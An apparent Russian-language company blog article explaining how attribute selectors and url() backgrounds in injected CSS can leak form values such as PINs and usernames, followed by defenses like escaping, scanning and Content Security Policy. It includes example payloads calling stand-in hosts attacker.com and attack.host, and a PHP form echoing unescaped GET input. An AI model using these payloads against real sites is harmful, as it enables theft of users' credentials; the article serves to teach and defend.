Pull to refresh
839.72
OTUS
Цифровые навыки от ведущих экспертов

CSS и безопасность данных

Level of difficultyEasy
Reading time7 min
Views4.4K

Различные компоненты фронтенда традиционно являются вотчиной веб-разработчиков и дизайнеров и они не всегда задумываются о безопасности контента. В этой статье я предлагаю поговорить о безопасности CSS.

Для начала вспомним, что такое кросссайтскриптинг (CSS).  XSS это тип атаки на веб-ресурсы, заключающийся во внедрении в выдаваемую сайтом страницу произвольного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

В течение нескольких лет современные браузеры, такие как Chrome или Firefox, пытались защитить пользователей веб-приложений от различных атак, в том числе XSS. Они делали это с помощью XSS-фильтров, которые во многих случаях позволяли им блокировать такие атаки. Однако эти фильтры оказывались все менее и менее эффективными, и браузеры, такие как Chrome, постепенно отключают их в поисках альтернативных методов защиты. Принцип работы XSS-фильтров довольно прост. Когда ваш веб-браузер отправляет запрос на веб-сайт, его встроенный фильтр межсайтовых сценариев проверяет, есть ли в запросе исполняемый JavaScript, например, блок <script> или HTML-элемент со встроенным обработчиком событий. Также проверяется, есть ли исполняемый JavaScript в ответе от сервера

Теоретически это должно хорошо работать, но на практике это легко обойти, и также нет защиты на стороне клиента от XSS-атак.

Давайте посмотрим, как можно украсть конфиденциальные данные с помощью каскадных таблиц стилей (CSS).

Кража конфиденциальных данных со стилем

JavaScript и HTML - не единственные языки, которые поддерживают все основные веб-браузеры. Каскадные таблицы стилей (CSS) также являются частью этой группы. Неудивительно, что CSS претерпел некоторые серьезные изменения с момента своего создания. То, что начиналось как способ обвести теги div красной пунктирной рамкой, превратилось в высокофункциональный язык, позволяющий создавать современный веб-дизайн с такими функциями, как переходы, медиа-запросы и то, что можно описать как селекторы атрибутов.

Например, мы можем поменять цвет ссылки без использования JavaScript. Обычный CSS-селектор может выглядеть примерно так:

a {
   color: red;
}

При этом будут выбраны все теги <a> и установлен красный цвет текста ссылки для них. Однако это не обеспечивает большой гибкости и может даже помешать остальной части вашего веб-дизайна. Возможно, вы захотите установить цвет внутренних ссылок, отличный от цвета внешних, чтобы посетителям было легче видеть, по какой ссылке они перейдут с вашего веб-сайта. Что вы можете сделать, так это создать класс, подобный приведенному ниже, и применить его ко всем тегам привязки, которые указывают на внутренние ссылки:

.internal-link {
   color: green;
}

Это не обязательно идеальная ситуация; это добавляет больше HTML-кода, и вам нужно вручную проверить, установлен ли правильный класс для всех внутренних ссылок. Удобно, что CSS предоставляет более простое решение этой проблемы.

Выбор атрибутов CSS

Селекторы атрибутов CSS позволяют вам установить цвет каждой ссылки, начинающейся с https://mysite.com/, например, на зеленый:

 

a[href^="https://mysite.com/"] {
   color: green;
}

Это приятная функция, но какое это имеет отношение к эксфильтрации данных? Ну, можно отправлять исходящие запросы, используя директиву background в сочетании с url. Если мы объединим это с селектором атрибутов, мы сможем легко подтвердить наличие определенных данных в атрибутах HTML на странице:

<style>
   input[name="pin"][value="1234"] {
      background: url(https://attacker.com/log?pin=1234);
   }
</style>
<input type="password" name="pin" value="1234">

Этот CSS-код выберет любой входной тег, содержащий имя pin и значение 1234. Введя код на страницу между тегами <style>, можно подтвердить, что наше предположение было правильным. Если бы PIN-код был 5678, селектор не соответствовал бы полю ввода, и запрос на сервер злоумышленника не был бы отправлен. В этом примере описана не самая полезная атака из существующих, но она может быть использована для деанонимизации пользователей. То есть, с помощью CSS мы можем реагировать на определенный пользовательский ввод на странице.

Посмотрим еще один пример того, как может работать такая эксфильтрация данных.

<html>
<head>
   <style>
       #username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
   </style>
</head>
<body>
   <form>
       Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
       <input id="form_submit" type="submit" value="submit"/>
       <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
   </form>
</body>
</html>

Давайте посмотрим подробнее, что здесь происходит. После загрузки страницы в поле значения поля ввода находится имя пользователя. Приведенный выше код, сочетающий CSS и HTML, на самом деле может предоставить злоумышленнику приличный объем информации. Так, если имя пользователя начинается с a, на сервер злоумышленника будет отправлен запрос, содержащий a_. Если оно заканчивается на b, сервер получит _b. Если имя пользователя содержит ab на странице, куда встроена вредоносная таблица стилей, браузер выдаст запрос, содержащий ab.

Понятно, что эту концепцию можно развить и теоретически, комбинация символов нижнего и верхнего регистра, цифр и 32 символов может привести к полезной нагрузке CSS размером более 620 Кбайт. По сути, это будет некий аналог перебора всех возможных комбинаций.

Однако с этим методом есть несколько проблем, поскольку он требует некоторых предварительных условий:

Данные должны присутствовать при загрузке страницы, чтобы было невозможно перехватить ввод пользователя в реальном времени с помощью CSS Exfil.

Должно быть достаточно элементов, которые можно стилизовать с помощью CSS. Один элемент нельзя использовать для двух разных эксфильтраций. Что вы можете сделать, так это использовать один элемент для определения первой буквы и один элемент, который вы используете исключительно для последней буквы, поскольку существует только одна возможная первая и одна возможная последняя буква. Однако для всех остальных букв это менее просто.

Элементы, которые вы используете для эксфильтрации, должны допускать атрибуты CSS, для которых вы можете использовать url, такие как фон или стиль списка и т.д.

Кроме того, нелегко повторно собрать данные. Например, если вы попытаетесь отфильтровать этот довольно слабый пароль поклонника шведской поп-группы ABBA, вы столкнетесь с серьезной проблемой.

abbaabbaabba

Этот пароль начинается с a, заканчивается на a и содержит ab, bb, aa, а также ba. Но это не поможет вам восстановить пароль. Все еще остается много предположений. Вы даже не знаете наверняка, какой длины пароль. abbaa тоже соответствует этому описанию, но это все равно не тот пароль, который мы искали.

Так что предлагаемый концепт использования CSS для хакерских атак далеко не безупречен, но дает достаточно материала для размышления.

Как можно защититься от этих атак

Есть несколько простых шагов, которые вы можете предпринять, чтобы убедиться, что в вашем приложении нет ошибок, которые могут позволить злоумышленникам включать произвольный контент CSS:

Примените контекстно-зависимую очистку. Это означает, что вам приходится использовать разные формы кодировки в разных ситуациях: например, шестнадцатеричную кодировку внутри блоков скрипта или HTML-объекты внутри других HTML-тегов. Могут возникнуть ситуации, когда вам также потребуется использовать другие формы очистки, такие как кодировка HTML или с помощью белого списка.

Просканируйте ваше приложение с помощью сканера уязвимостей, например Nikto или Wapiti поскольку уязвимость, по сути, представляет собой внедрение HTML-кода, которое может быть обнаружено большинством сканеров безопасности веб-приложений. Как и XSS, для этой атаки требуется внедрение кода.

Внедрите надлежащую политику безопасности контента (CSP), если вы хотите быть абсолютно уверены, что злоумышленник не сможет воспользоваться этой уязвимостью, даже если вы однажды забыли выполнить очистку. С помощью такой политики вы можете составить белый список URL,  с которых можно загружать контент. В таком случае, обратиться к ресурсам злоумышленника уже не получится.

 

Каждая из этих рекомендаций важна для предотвращения уязвимости во всей вашей кодовой базе.

Заключение

В этой статье дается краткое описание возможных концепций атак с помощью CSS. Разработчикам фронтенда и администраторам веб-серверов тоже необходимо знать о подобных атаках и уметь с ними бороться.

Статья подготовлена в преддверии старта специализации Fullstack Developer. По ссылке вы можете узнать подробнее о специализации и зарегистрироваться на бесплатный вебинар курса.

Tags:
Hubs:
Total votes 12: ↑8 and ↓4+6
Comments5

Articles

Information

Website
otus.ru
Registered
Founded
Employees
101–200 employees
Location
Россия
Representative
OTUS